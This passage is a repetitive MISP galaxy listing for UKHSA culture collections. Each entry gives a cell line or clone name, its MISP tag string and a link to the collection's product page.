https://www.culturecollections.org.uk/nop/product/32367

32511

The tag is: *misp-galaxy:ukhsa-culture-collections="32511"*

Table 31728. Table References

Links
https://www.culturecollections.org.uk/nop/product/32511

35020

The tag is: *misp-galaxy:ukhsa-culture-collections="35020"*

Table 31729. Table References

Links
https://www.culturecollections.org.uk/nop/product/35020

35841

The tag is: *misp-galaxy:ukhsa-culture-collections="35841"*

Table 31730. Table References

Links
https://www.culturecollections.org.uk/nop/product/35841

AT

The tag is: *misp-galaxy:ukhsa-culture-collections="AT"*

Table 31731. Table References

Links
https://www.culturecollections.org.uk/nop/product/at

LATIF

The tag is: *misp-galaxy:ukhsa-culture-collections="LATIF"*

Table 31732. Table References

Links
https://www.culturecollections.org.uk/nop/product/latif

AKIBA

The tag is: *misp-galaxy:ukhsa-culture-collections="AKIBA"*

Table 31733. Table References

Links
https://www.culturecollections.org.uk/nop/product/akiba

MZ070782

The tag is: *misp-galaxy:ukhsa-culture-collections="MZ070782"*

Table 31734. Table References

Links
https://www.culturecollections.org.uk/nop/product/mz070782

CF996

The tag is: *misp-galaxy:ukhsa-culture-collections="CF996"*

Table 31735. Table References

Links
https://www.culturecollections.org.uk/nop/product/cf996

DUCAF

The tag is: *misp-galaxy:ukhsa-culture-collections="DUCAF"*

Table 31736. Table References

Links
https://www.culturecollections.org.uk/nop/product/ducaf

SA

The tag is: *misp-galaxy:ukhsa-culture-collections="SA"*

Table 31737. Table References

Links
https://www.culturecollections.org.uk/nop/product/sa

DJS

The tag is: *misp-galaxy:ukhsa-culture-collections="DJS"*

Table 31738. Table References

Links
https://www.culturecollections.org.uk/nop/product/djs

4G5(PGM1) Clone B7

The tag is: *misp-galaxy:ukhsa-culture-collections="4G5(PGM1) Clone B7"*

Table 31739. Table References

Links
https://www.culturecollections.org.uk/nop/product/4g5pgm1-clone-b7

6H7(PGM1) Clone D10

The tag is: *misp-galaxy:ukhsa-culture-collections="6H7(PGM1) Clone D10"*

Table 31740. Table References

Links
https://www.culturecollections.org.uk/nop/product/6h7pgm1-clone-d10

2G2B(AAT) Clone 4D4

The tag is: *misp-galaxy:ukhsa-culture-collections="2G2B(AAT) Clone 4D4"*

Table 31741. Table References

Links
https://www.culturecollections.org.uk/nop/product/2g2baat-clone-4d4

7E10(GC) Clone A

The tag is: *misp-galaxy:ukhsa-culture-collections="7E10(GC) Clone A"*

Table 31742. Table References

Links
https://www.culturecollections.org.uk/nop/product/7e10gc-clone-a

4H8(GC) Clone 4D4

The tag is: *misp-galaxy:ukhsa-culture-collections="4H8(GC) Clone 4D4"*

Table 31743. Table References

Links
https://www.culturecollections.org.uk/nop/product/4h8gc-clone-4d4

6G5(AAT) Clone 1C9

The tag is: *misp-galaxy:ukhsa-culture-collections="6G5(AAT) Clone 1C9"*

Table 31744. Table References

Links
https://www.culturecollections.org.uk/nop/product/6g5aat-clone-1c9

1E7(GC) Clone B

The tag is: *misp-galaxy:ukhsa-culture-collections="1E7(GC) Clone B"*

Table 31745. Table References

Links
https://www.culturecollections.org.uk/nop/product/1e7gc-clone-b

2A2(PGM1) Clone A6

The tag is: *misp-galaxy:ukhsa-culture-collections="2A2(PGM1) Clone A6"*

Table 31746. Table References

Links
https://www.culturecollections.org.uk/nop/product/2a2pgm1-clone-a6

AFRC IAH-CC62

The tag is: *misp-galaxy:ukhsa-culture-collections="AFRC IAH-CC62"*

Table 31747. Table References

Links
https://www.culturecollections.org.uk/nop/product/afrc-iah-cc62

DH33

The tag is: *misp-galaxy:ukhsa-culture-collections="DH33"*

Table 31748. Table References

Links
https://www.culturecollections.org.uk/nop/product/dh33

DH15

The tag is: *misp-galaxy:ukhsa-culture-collections="DH15"*

Table 31749. Table References

Links
https://www.culturecollections.org.uk/nop/product/dh15

DH14

The tag is: *misp-galaxy:ukhsa-culture-collections="DH14"*

Table 31750. Table References

Links
https://www.culturecollections.org.uk/nop/product/dh14

BBA4

The tag is: *misp-galaxy:ukhsa-culture-collections="BBA4"*

Table 31751. Table References

Links
https://www.culturecollections.org.uk/nop/product/bba4

PNV35B

The tag is: *misp-galaxy:ukhsa-culture-collections="PNV35B"*

Table 31752. Table References

Links
https://www.culturecollections.org.uk/nop/product/pnv35b

PNMR OE

The tag is: *misp-galaxy:ukhsa-culture-collections="PNMR OE"*

Table 31753. Table References

Links
https://www.culturecollections.org.uk/nop/product/pnmr-oe

PNMR 160D

The tag is: *misp-galaxy:ukhsa-culture-collections="PNMR 160D"*

Table 31754. Table References

Links
https://www.culturecollections.org.uk/nop/product/pnmr-160d

PNMR 120E

The tag is: *misp-galaxy:ukhsa-culture-collections="PNMR 120E"*

Table 31755. Table References

Links
https://www.culturecollections.org.uk/nop/product/pnmr-120e

FT

The tag is: *misp-galaxy:ukhsa-culture-collections="FT"*

Table 31756. Table References

Links
https://www.culturecollections.org.uk/nop/product/ft

Y1

The tag is: *misp-galaxy:ukhsa-culture-collections="Y1"*

Table 31757. Table References

Links
https://www.culturecollections.org.uk/nop/product/y1

AFRC MAC 61

The tag is: *misp-galaxy:ukhsa-culture-collections="AFRC MAC 61"*

Table 31758. Table References

Links
https://www.culturecollections.org.uk/nop/product/afrc-mac-61

BHK21C13-2P

The tag is: *misp-galaxy:ukhsa-culture-collections="BHK21C13-2P"*

Table 31759. Table References

Links
https://www.culturecollections.org.uk/nop/product/bhk21c13-2p

AFRC IAH-CC98

The tag is: *misp-galaxy:ukhsa-culture-collections="AFRC IAH-CC98"*

Table 31760. Table References

Links
https://www.culturecollections.org.uk/nop/product/afrc-iah-cc98

AFRC IAH-CC101

The tag is: *misp-galaxy:ukhsa-culture-collections="AFRC IAH-CC101"*

Table 31761. Table References

Links
https://www.culturecollections.org.uk/nop/product/afrc-iah-cc101

R1

The tag is: *misp-galaxy:ukhsa-culture-collections="R1"*

Table 31762. Table References

Links
https://www.culturecollections.org.uk/nop/product/r1-2

LY9

The tag is: *misp-galaxy:ukhsa-culture-collections="LY9"*

Table 31763. Table References

Links
https://www.culturecollections.org.uk/nop/product/ly9

Lu6

The tag is: *misp-galaxy:ukhsa-culture-collections="Lu6"*

Table 31764. Table References

Links
https://www.culturecollections.org.uk/nop/product/lu6

C1

The tag is: *misp-galaxy:ukhsa-culture-collections="C1"*

Table 31765. Table References

Links
https://www.culturecollections.org.uk/nop/product/c1

8C9

The tag is: *misp-galaxy:ukhsa-culture-collections="8C9"*

Table 31766. Table References

Links
https://www.culturecollections.org.uk/nop/product/8c9

Lu2

The tag is: *misp-galaxy:ukhsa-culture-collections="Lu2"*

Table 31767. Table References

Links
https://www.culturecollections.org.uk/nop/product/lu2

BCL1 Clone CW13.20-3B3

The tag is: *misp-galaxy:ukhsa-culture-collections="BCL1 Clone CW13.20-3B3"*

Table 31768. Table References

Links
https://www.culturecollections.org.uk/nop/product/bcl1-clone-cw1320-3b3

SBAC

The tag is: *misp-galaxy:ukhsa-culture-collections="SBAC"*

Table 31769. Table References

Links
https://www.culturecollections.org.uk/nop/product/sbac

55-6

The tag is: *misp-galaxy:ukhsa-culture-collections="55-6"*

Table 31770. Table References

Links
https://www.culturecollections.org.uk/nop/product/55-6

PG

The tag is: *misp-galaxy:ukhsa-culture-collections="PG"*

Table 31771. Table References

Links
https://www.culturecollections.org.uk/nop/product/pg

CAR

The tag is: *misp-galaxy:ukhsa-culture-collections="CAR"*

Table 31772. Table References

Links
https://www.culturecollections.org.uk/nop/product/car

FHM

The tag is: *misp-galaxy:ukhsa-culture-collections="FHM"*

Table 31773. Table References

Links
https://www.culturecollections.org.uk/nop/product/fhm

BB

The tag is: *misp-galaxy:ukhsa-culture-collections="BB"*

Table 31774. Table References

Links
https://www.culturecollections.org.uk/nop/product/bb

AFRC IAH-CC171

The tag is: *misp-galaxy:ukhsa-culture-collections="AFRC IAH-CC171"*

Table 31775. Table References

Links
https://www.culturecollections.org.uk/nop/product/afrc-iah-cc171

P22

The tag is: *misp-galaxy:ukhsa-culture-collections="P22"*

Table 31776. Table References

Links
https://www.culturecollections.org.uk/nop/product/p22

EJG

The tag is: *misp-galaxy:ukhsa-culture-collections="EJG"*

Table 31777. Table References

Links
https://www.culturecollections.org.uk/nop/product/ejg

IgG-6A6

The tag is: *misp-galaxy:ukhsa-culture-collections="IgG-6A6"*

Table 31778. Table References

Links
https://www.culturecollections.org.uk/nop/product/igg-6a6

KC

The tag is: *misp-galaxy:ukhsa-culture-collections="KC"*

Table 31779. Table References

Links
https://www.culturecollections.org.uk/nop/product/kc

11-5.2.1.9

The tag is: *misp-galaxy:ukhsa-culture-collections="11-5.2.1.9"*

Table 31780. Table References

Links
https://www.culturecollections.org.uk/nop/product/11-5219

07-4D

The tag is: *misp-galaxy:ukhsa-culture-collections="07-4D"*

Table 31781. Table References

Links
https://www.culturecollections.org.uk/nop/product/07-4d

ATHOS

The tag is: *misp-galaxy:ukhsa-culture-collections="ATHOS"*

Table 31782. Table References

Links
https://www.culturecollections.org.uk/nop/product/athos

B16 melanoma 4A5

The tag is: *misp-galaxy:ukhsa-culture-collections="B16 melanoma 4A5"*

Table 31783. Table References

Links
https://www.culturecollections.org.uk/nop/product/b16-melanoma-4a5

WILCL

The tag is: *misp-galaxy:ukhsa-culture-collections="WILCL"*

Table 31784. Table References

Links
https://www.culturecollections.org.uk/nop/product/wilcl

M290

The tag is: *misp-galaxy:ukhsa-culture-collections="M290"*

Table 31785. Table References

Links
https://www.culturecollections.org.uk/nop/product/m290

CAR-XP10

The tag is: *misp-galaxy:ukhsa-culture-collections="CAR-XP10"*

Table 31786. Table References

Links
https://www.culturecollections.org.uk/nop/product/car-xp10

CAR-2/3F4

The tag is: *misp-galaxy:ukhsa-culture-collections="CAR-2/3F4"*

Table 31787. Table References

Links
https://www.culturecollections.org.uk/nop/product/car-23f4

MEWO

The tag is: *misp-galaxy:ukhsa-culture-collections="MEWO"*

Table 31788. Table References

Links
https://www.culturecollections.org.uk/nop/product/mewo

BAOEC

The tag is: *misp-galaxy:ukhsa-culture-collections="BAOEC"*

Table 31789. Table References

Links
https://www.culturecollections.org.uk/nop/product/baoec

BFA

The tag is: *misp-galaxy:ukhsa-culture-collections="BFA"*

Table 31790. Table References

Links
https://www.culturecollections.org.uk/nop/product/bfa

TM4

The tag is: *misp-galaxy:ukhsa-culture-collections="TM4"*

Table 31791. Table References

Links
https://www.culturecollections.org.uk/nop/product/tm4

XC

The tag is: *misp-galaxy:ukhsa-culture-collections="XC"*

Table 31792. Table References

Links
https://www.culturecollections.org.uk/nop/product/xc

FEL

The tag is: *misp-galaxy:ukhsa-culture-collections="FEL"*

Table 31793. Table References

Links
https://www.culturecollections.org.uk/nop/product/fel

McCoy

The tag is: *misp-galaxy:ukhsa-culture-collections="McCoy"*

Table 31794. Table References

Links
https://www.culturecollections.org.uk/nop/product/mccoy

Neopu

The tag is: *misp-galaxy:ukhsa-culture-collections="Neopu"*

Table 31795. Table References

Links
https://www.culturecollections.org.uk/nop/product/neopu

Ptk1

The tag is: *misp-galaxy:ukhsa-culture-collections="Ptk1"*

Table 31796. Table References

Links
https://www.culturecollections.org.uk/nop/product/ptk1

GEEP

The tag is: *misp-galaxy:ukhsa-culture-collections="GEEP"*

Table 31797. Table References

Links
https://www.culturecollections.org.uk/nop/product/geep

BE10-Intermediate

The tag is: *misp-galaxy:ukhsa-culture-collections="BE10-Intermediate"*

Table 31798. Table References

Links
https://www.culturecollections.org.uk/nop/product/be10-intermediate

G

The tag is: *misp-galaxy:ukhsa-culture-collections="G"*

Table 31799. Table References

Links
https://www.culturecollections.org.uk/nop/product/g

P19

The tag is: *misp-galaxy:ukhsa-culture-collections="P19"*

Table 31800. Table References

Links
https://www.culturecollections.org.uk/nop/product/p19

NRK

The tag is: *misp-galaxy:ukhsa-culture-collections="NRK"*

Table 31801. Table References

Links
https://www.culturecollections.org.uk/nop/product/nrk

STO

The tag is: *misp-galaxy:ukhsa-culture-collections="STO"*

Table 31802. Table References

Links
https://www.culturecollections.org.uk/nop/product/sto

CII

The tag is: *misp-galaxy:ukhsa-culture-collections="CII"*

Table 31803. Table References

Links
https://www.culturecollections.org.uk/nop/product/cii

DF

The tag is: *misp-galaxy:ukhsa-culture-collections="DF"*

Table 31804. Table References

Links
https://www.culturecollections.org.uk/nop/product/df

WRC

The tag is: *misp-galaxy:ukhsa-culture-collections="WRC"*

Table 31805. Table References

Links
https://www.culturecollections.org.uk/nop/product/wrc

SCP

The tag is: *misp-galaxy:ukhsa-culture-collections="SCP"*

Table 31806. Table References

Links
https://www.culturecollections.org.uk/nop/product/scp

SHOK

The tag is: *misp-galaxy:ukhsa-culture-collections="SHOK"*

Table 31807. Table References

Links
https://www.culturecollections.org.uk/nop/product/shok

OK

The tag is: *misp-galaxy:ukhsa-culture-collections="OK"*

Table 31808. Table References

Links
https://www.culturecollections.org.uk/nop/product/ok

ST

The tag is: *misp-galaxy:ukhsa-culture-collections="ST"*

Table 31809. Table References

Links
https://www.culturecollections.org.uk/nop/product/st

BE11 (Early)

The tag is: *misp-galaxy:ukhsa-culture-collections="BE11 (Early)"*

Table 31810. Table References

Links
https://www.culturecollections.org.uk/nop/product/be11-early

DK

The tag is: *misp-galaxy:ukhsa-culture-collections="DK"*

Table 31811. Table References

Links
https://www.culturecollections.org.uk/nop/product/dk

H5

The tag is: *misp-galaxy:ukhsa-culture-collections="H5"*

Table 31812. Table References

Links
https://www.culturecollections.org.uk/nop/product/h5

BHK21C13-3P

The tag is: *misp-galaxy:ukhsa-culture-collections="BHK21C13-3P"*

Table 31813. Table References

Links
https://www.culturecollections.org.uk/nop/product/bhk21c13-3p

FR

The tag is: *misp-galaxy:ukhsa-culture-collections="FR"*

Table 31814. Table References

Links
https://www.culturecollections.org.uk/nop/product/fr

Ptk2

The tag is: *misp-galaxy:ukhsa-culture-collections="Ptk2"*

Table 31815. Table References

Links
https://www.culturecollections.org.uk/nop/product/ptk2

HTC

The tag is: *misp-galaxy:ukhsa-culture-collections="HTC"*

Table 31816. Table References

Links
https://www.culturecollections.org.uk/nop/product/htc

BICR/M1Rk

The tag is: *misp-galaxy:ukhsa-culture-collections="BICR/M1Rk"*

Table 31817. Table References

Links
https://www.culturecollections.org.uk/nop/product/bicrm1rk

A9

The tag is: *misp-galaxy:ukhsa-culture-collections="A9"*

Table 31818. Table References

Links
https://www.culturecollections.org.uk/nop/product/a9

LTK-

The tag is: *misp-galaxy:ukhsa-culture-collections="LTK-"*

Table 31819. Table References

Links
https://www.culturecollections.org.uk/nop/product/ltk-

YO

The tag is: *misp-galaxy:ukhsa-culture-collections="YO"*

Table 31820. Table References

Links
https://www.culturecollections.org.uk/nop/product/yo

BC3H1

The tag is: *misp-galaxy:ukhsa-culture-collections="BC3H1"*

Table 31821. Table References

Links
https://www.culturecollections.org.uk/nop/product/bc3h1

MPK

The tag is: *misp-galaxy:ukhsa-culture-collections="MPK"*

Table 31822. Table References

Links
https://www.culturecollections.org.uk/nop/product/mpk

DON

The tag is: *misp-galaxy:ukhsa-culture-collections="DON"*

Table 31823. Table References

Links
https://www.culturecollections.org.uk/nop/product/don

R9ab

The tag is: *misp-galaxy:ukhsa-culture-collections="R9ab"*

Table 31824. Table References

Links
https://www.culturecollections.org.uk/nop/product/r9ab

FoLu

The tag is: *misp-galaxy:ukhsa-culture-collections="FoLu"*

Table 31825. Table References

Links
https://www.culturecollections.org.uk/nop/product/folu

XrS6

The tag is: *misp-galaxy:ukhsa-culture-collections="XrS6"*

Table 31826. Table References

Links
https://www.culturecollections.org.uk/nop/product/xrs6

BE10-Late

The tag is: *misp-galaxy:ukhsa-culture-collections="BE10-Late"*

Table 31827. Table References

Links
https://www.culturecollections.org.uk/nop/product/be10-late

BPAEC

The tag is: *misp-galaxy:ukhsa-culture-collections="BPAEC"*

Table 31828. Table References

Links
https://www.culturecollections.org.uk/nop/product/bpaec

707B1011C3

The tag is: *misp-galaxy:ukhsa-culture-collections="707B1011C3"*

Table 31829. Table References

Links
https://www.culturecollections.org.uk/nop/product/707b1011c3

N18

The tag is: *misp-galaxy:ukhsa-culture-collections="N18"*

Table 31830. Table References

Links
https://www.culturecollections.org.uk/nop/product/n18

RAG

The tag is: *misp-galaxy:ukhsa-culture-collections="RAG"*

Table 31831. Table References

Links
https://www.culturecollections.org.uk/nop/product/rag

A6

The tag is: *misp-galaxy:ukhsa-culture-collections="A6"*

Table 31832. Table References

Links
https://www.culturecollections.org.uk/nop/product/a6

311

The tag is: *misp-galaxy:ukhsa-culture-collections="311"*

Table 31833. Table References

Links
https://www.culturecollections.org.uk/nop/product/311

Hak

The tag is: *misp-galaxy:ukhsa-culture-collections="Hak"*

Table 31834. Table References

Links
https://www.culturecollections.org.uk/nop/product/hak

MLg

The tag is: *misp-galaxy:ukhsa-culture-collections="MLg"*

Table 31835. Table References

Links
https://www.culturecollections.org.uk/nop/product/mlg

TM3

The tag is: *misp-galaxy:ukhsa-culture-collections="TM3"*

Table 31836. Table References

Links
https://www.culturecollections.org.uk/nop/product/tm3

WX310

The tag is: *misp-galaxy:ukhsa-culture-collections="WX310"*

Table 31837. Table References

Links
https://www.culturecollections.org.uk/nop/product/wx310

F9

The tag is: *misp-galaxy:ukhsa-culture-collections="F9"*

Table 31838. Table References

Links
https://www.culturecollections.org.uk/nop/product/f9

111A3

The tag is: *misp-galaxy:ukhsa-culture-collections="111A3"*

Table 31839. Table References

Links
https://www.culturecollections.org.uk/nop/product/111a3

ED9

The tag is: *misp-galaxy:ukhsa-culture-collections="ED9"*

Table 31840. Table References

Links
https://www.culturecollections.org.uk/nop/product/ed9

U28

The tag is: *misp-galaxy:ukhsa-culture-collections="U28"*

Table 31841. Table References

Links
https://www.culturecollections.org.uk/nop/product/u28

NP cl.25

The tag is: *misp-galaxy:ukhsa-culture-collections="NP cl.25"*

Table 31842. Table References

Links
https://www.culturecollections.org.uk/nop/product/np-cl25

NP cl.120

The tag is: *misp-galaxy:ukhsa-culture-collections="NP cl.120"*

Table 31843. Table References

Links
https://www.culturecollections.org.uk/nop/product/np-cl120

AFRC IAH-CC76

The tag is: *misp-galaxy:ukhsa-culture-collections="AFRC IAH-CC76"*

Table 31844. Table References

Links
https://www.culturecollections.org.uk/nop/product/afrc-iah-cc76

IL-A16

The tag is: *misp-galaxy:ukhsa-culture-collections="IL-A16"*

Table 31845. Table References

Links
https://www.culturecollections.org.uk/nop/product/il-a16

IL-A11

The tag is: *misp-galaxy:ukhsa-culture-collections="IL-A11"*

Table 31846. Table References

Links
https://www.culturecollections.org.uk/nop/product/il-a11

IL-A105

The tag is: *misp-galaxy:ukhsa-culture-collections="IL-A105"*

Table 31847. Table References

Links
https://www.culturecollections.org.uk/nop/product/il-a105

IgG-B16

The tag is: *misp-galaxy:ukhsa-culture-collections="IgG-B16"*

Table 31848. Table References

Links
https://www.culturecollections.org.uk/nop/product/igg-b16

IC-08

The tag is: *misp-galaxy:ukhsa-culture-collections="IC-08"*

Table 31849. Table References

Links
https://www.culturecollections.org.uk/nop/product/ic-08

HyGPD-YK-1-1

The tag is: *misp-galaxy:ukhsa-culture-collections="HyGPD-YK-1-1"*

Table 31850. Table References

Links
https://www.culturecollections.org.uk/nop/product/hygpd-yk-1-1

HK-PEG-1

The tag is: *misp-galaxy:ukhsa-culture-collections="HK-PEG-1"*

Table 31851. Table References

Links
https://www.culturecollections.org.uk/nop/product/hk-peg-1

HFN 7.1

The tag is: *misp-galaxy:ukhsa-culture-collections="HFN 7.1"*

Table 31852. Table References

Links
https://www.culturecollections.org.uk/nop/product/hfn-71

HFN 36.3

The tag is: *misp-galaxy:ukhsa-culture-collections="HFN 36.3"*

Table 31853. Table References

Links
https://www.culturecollections.org.uk/nop/product/hfn-363

H97-102.11.3

The tag is: *misp-galaxy:ukhsa-culture-collections="H97-102.11.3"*

Table 31854. Table References

Links
https://www.culturecollections.org.uk/nop/product/h97-102113

H81-208.22.6

The tag is: *misp-galaxy:ukhsa-culture-collections="H81-208.22.6"*

Table 31855. Table References

Links
https://www.culturecollections.org.uk/nop/product/h81-208226

H49a

The tag is: *misp-galaxy:ukhsa-culture-collections="H49a"*

Table 31856. Table References

Links
https://www.culturecollections.org.uk/nop/product/h49a

H24b

The tag is: *misp-galaxy:ukhsa-culture-collections="H24b"*

Table 31857. Table References

Links
https://www.culturecollections.org.uk/nop/product/h24b

H1a

The tag is: *misp-galaxy:ukhsa-culture-collections="H1a"*

Table 31858. Table References

Links
https://www.culturecollections.org.uk/nop/product/h1a

GAD-1

The tag is: *misp-galaxy:ukhsa-culture-collections="GAD-1"*

Table 31859. Table References

Links
https://www.culturecollections.org.uk/nop/product/gad-1

FW3.151

The tag is: *misp-galaxy:ukhsa-culture-collections="FW3.151"*

Table 31860. Table References

Links
https://www.culturecollections.org.uk/nop/product/fw3151

FW3.132.6

The tag is: *misp-galaxy:ukhsa-culture-collections="FW3.132.6"*

Table 31861. Table References

Links
https://www.culturecollections.org.uk/nop/product/fw31326

FW 11.9.2.2

The tag is: *misp-galaxy:ukhsa-culture-collections="FW 11.9.2.2"*

Table 31862. Table References

Links
https://www.culturecollections.org.uk/nop/product/fw-11922

FW 11.24.7.36

The tag is: *misp-galaxy:ukhsa-culture-collections="FW 11.24.7.36"*

Table 31863. Table References

Links
https://www.culturecollections.org.uk/nop/product/fw-1124736

FW 11.10.3

The tag is: *misp-galaxy:ukhsa-culture-collections="FW 11.10.3"*

Table 31864. Table References

Links
https://www.culturecollections.org.uk/nop/product/fw-11103

FC4.14F8

The tag is: *misp-galaxy:ukhsa-culture-collections="FC4.14F8"*

Table 31865. Table References

Links
https://www.culturecollections.org.uk/nop/product/fc414f8

F8-11-13

The tag is: *misp-galaxy:ukhsa-culture-collections="F8-11-13"*

Table 31866. Table References

Links
https://www.culturecollections.org.uk/nop/product/f8-11-13

F17-23-2

The tag is: *misp-galaxy:ukhsa-culture-collections="F17-23-2"*

Table 31867. Table References

Links
https://www.culturecollections.org.uk/nop/product/f17-23-2

F16-4-4-11

The tag is: *misp-galaxy:ukhsa-culture-collections="F16-4-4-11"*

Table 31868. Table References

Links
https://www.culturecollections.org.uk/nop/product/f16-4-4-11

F10-89-4

The tag is: *misp-galaxy:ukhsa-culture-collections="F10-89-4"*

Table 31869. Table References

Links
https://www.culturecollections.org.uk/nop/product/f10-89-4

Du 1-29

The tag is: *misp-galaxy:ukhsa-culture-collections="Du 1-29"*

Table 31870. Table References

Links
https://www.culturecollections.org.uk/nop/product/du-1-29

Clone 197

The tag is: *misp-galaxy:ukhsa-culture-collections="Clone 197"*

Table 31871. Table References

Links
https://www.culturecollections.org.uk/nop/product/clone-197

C7

The tag is: *misp-galaxy:ukhsa-culture-collections="C7"*

Table 31872. Table References

Links
https://www.culturecollections.org.uk/nop/product/c7

BMAC-3

The tag is: *misp-galaxy:ukhsa-culture-collections="BMAC-3"*

Table 31873. Table References

Links
https://www.culturecollections.org.uk/nop/product/bmac-3

AFRC MAC 9

The tag is: *misp-galaxy:ukhsa-culture-collections="AFRC MAC 9"*

Table 31874. Table References

Links
https://www.culturecollections.org.uk/nop/product/afrc-mac-9

AFRC MAC 8

The tag is: *misp-galaxy:ukhsa-culture-collections="AFRC MAC 8"*

Table 31875. Table References

Links
https://www.culturecollections.org.uk/nop/product/afrc-mac-8

AFRC MAC 79

The tag is: *misp-galaxy:ukhsa-culture-collections="AFRC MAC 79"*

Table 31876. Table References

Links
https://www.culturecollections.org.uk/nop/product/afrc-mac-79

AFRC MAC 78

The tag is: *misp-galaxy:ukhsa-culture-collections="AFRC MAC 78"*

Table 31877. Table References

Links
https://www.culturecollections.org.uk/nop/product/afrc-mac-78

AFRC MAC 77

The tag is: *misp-galaxy:ukhsa-culture-collections="AFRC MAC 77"*

Table 31878. Table References

Links
https://www.culturecollections.org.uk/nop/product/afrc-mac-77

AFRC MAC 75

The tag is: *misp-galaxy:ukhsa-culture-collections="AFRC MAC 75"*

Table 31879. Table References

Links
https://www.culturecollections.org.uk/nop/product/afrc-mac-75

AFRC MAC 74

The tag is: *misp-galaxy:ukhsa-culture-collections="AFRC MAC 74"*

Table 31880. Table References

Links
https://www.culturecollections.org.uk/nop/product/afrc-mac-74

AFRC MAC 65

The tag is: *misp-galaxy:ukhsa-culture-collections="AFRC MAC 65"*

Table 31881. Table References

Links
https://www.culturecollections.org.uk/nop/product/afrc-mac-65

AFRC MAC 63

The tag is: *misp-galaxy:ukhsa-culture-collections="AFRC MAC 63"*

Table 31882. Table References

Links
https://www.culturecollections.org.uk/nop/product/afrc-mac-63

AFRC MAC 6

The tag is: *misp-galaxy:ukhsa-culture-collections="AFRC MAC 6"*

Table 31883. Table References

Links
https://www.culturecollections.org.uk/nop/product/afrc-mac-6

AFRC MAC 4

The tag is: *misp-galaxy:ukhsa-culture-collections="AFRC MAC 4"*

Table 31884. Table References

Links
https://www.culturecollections.org.uk/nop/product/afrc-mac-4

AFRC MAC 258

The tag is: *misp-galaxy:ukhsa-culture-collections="AFRC MAC 258"*

Table 31885. Table References

Links
https://www.culturecollections.org.uk/nop/product/afrc-mac-258

AFRC MAC 257

The tag is: *misp-galaxy:ukhsa-culture-collections="AFRC MAC 257"*

Table 31886. Table References

Links
https://www.culturecollections.org.uk/nop/product/afrc-mac-257

AFRC MAC 256

The tag is: *misp-galaxy:ukhsa-culture-collections="AFRC MAC 256"*

Table 31887. Table References

Links
https://www.culturecollections.org.uk/nop/product/afrc-mac-256

AFRC MAC 25

The tag is: *misp-galaxy:ukhsa-culture-collections="AFRC MAC 25"*

Table 31888. Table References

Links
https://www.culturecollections.org.uk/nop/product/afrc-mac-25

AFRC MAC 20

The tag is: *misp-galaxy:ukhsa-culture-collections="AFRC MAC 20"*

Table 31889. Table References

Links
https://www.culturecollections.org.uk/nop/product/afrc-mac-20

AFRC MAC 19

The tag is: *misp-galaxy:ukhsa-culture-collections="AFRC MAC 19"*

Table 31890. Table References

Links
https://www.culturecollections.org.uk/nop/product/afrc-mac-19

AFRC MAC 17

The tag is: *misp-galaxy:ukhsa-culture-collections="AFRC MAC 17"*

Table 31891. Table References

Links
https://www.culturecollections.org.uk/nop/product/afrc-mac-17

AFRC MAC 160

The tag is: *misp-galaxy:ukhsa-culture-collections="AFRC MAC 160"*

Table 31892. Table References

Links
https://www.culturecollections.org.uk/nop/product/afrc-mac-160

AFRC MAC 158

The tag is: *misp-galaxy:ukhsa-culture-collections="AFRC MAC 158"*

Table 31893. Table References

Links
https://www.culturecollections.org.uk/nop/product/afrc-mac-158

AFRC MAC 157

The tag is: *misp-galaxy:ukhsa-culture-collections="AFRC MAC 157"*

Table 31894. Table References

Links
https://www.culturecollections.org.uk/nop/product/afrc-mac-157

AFRC MAC 156

The tag is: *misp-galaxy:ukhsa-culture-collections="AFRC MAC 156"*

Table 31895. Table References

Links
https://www.culturecollections.org.uk/nop/product/afrc-mac-156

AFRC MAC 15

The tag is: *misp-galaxy:ukhsa-culture-collections="AFRC MAC 15"*

Table 31896. Table References

Links
https://www.culturecollections.org.uk/nop/product/afrc-mac-15

AFRC MAC 14

The tag is: *misp-galaxy:ukhsa-culture-collections="AFRC MAC 14"*

Table 31897. Table References

Links
https://www.culturecollections.org.uk/nop/product/afrc-mac-14

AFRC MAC 131

The tag is: *misp-galaxy:ukhsa-culture-collections="AFRC MAC 131"*

Table 31898. Table References

Links
https://www.culturecollections.org.uk/nop/product/afrc-mac-131

AFRC MAC 13

The tag is: *misp-galaxy:ukhsa-culture-collections="AFRC MAC 13"*

Table 31899. Table References

Links
https://www.culturecollections.org.uk/nop/product/afrc-mac-13

AFRC MAC 1

The tag is: *misp-galaxy:ukhsa-culture-collections="AFRC MAC 1"*

Table 31900. Table References

Links
https://www.culturecollections.org.uk/nop/product/afrc-mac-1

AFRC IAH-CC63

The tag is: *misp-galaxy:ukhsa-culture-collections="AFRC IAH-CC63"*

Table 31901. Table References

Links
https://www.culturecollections.org.uk/nop/product/afrc-iah-cc63

AFRC IAH-CC58

The tag is: *misp-galaxy:ukhsa-culture-collections="AFRC IAH-CC58"*

Table 31902. Table References

Links
https://www.culturecollections.org.uk/nop/product/afrc-iah-cc58

AFRC IAH-CC56

The tag is: *misp-galaxy:ukhsa-culture-collections="AFRC IAH-CC56"*

Table 31903. Table References

Links
https://www.culturecollections.org.uk/nop/product/afrc-iah-cc56

AFRC IAH-CC55

The tag is: *misp-galaxy:ukhsa-culture-collections="AFRC IAH-CC55"*

Table 31904. Table References

Links
https://www.culturecollections.org.uk/nop/product/afrc-iah-cc55

AFRC IAH-CC51

The tag is: *misp-galaxy:ukhsa-culture-collections="AFRC IAH-CC51"*

Table 31905. Table References

Links
https://www.culturecollections.org.uk/nop/product/afrc-iah-cc51

AFRC IAH-CC42

The tag is: *misp-galaxy:ukhsa-culture-collections="AFRC IAH-CC42"*

Table 31906. Table References

Links
https://www.culturecollections.org.uk/nop/product/afrc-iah-cc42

AFRC IAH-CC39

The tag is: *misp-galaxy:ukhsa-culture-collections="AFRC IAH-CC39"*

Table 31907. Table References

Links
https://www.culturecollections.org.uk/nop/product/afrc-iah-cc39

AFRC IAH-CC38

The tag is: *misp-galaxy:ukhsa-culture-collections="AFRC IAH-CC38"*

Table 31908. Table References

Links
https://www.culturecollections.org.uk/nop/product/afrc-iah-cc38

AFRC IAH-CC37

The tag is: *misp-galaxy:ukhsa-culture-collections="AFRC IAH-CC37"*

Table 31909. Table References

Links
https://www.culturecollections.org.uk/nop/product/afrc-iah-cc37

AFRC IAH-CC30

The tag is: *misp-galaxy:ukhsa-culture-collections="AFRC IAH-CC30"*

Table 31910. Table References

Links
https://www.culturecollections.org.uk/nop/product/afrc-iah-cc30

AFRC IAH-CC29

The tag is: *misp-galaxy:ukhsa-culture-collections="AFRC IAH-CC29"*

Table 31911. Table References

Links
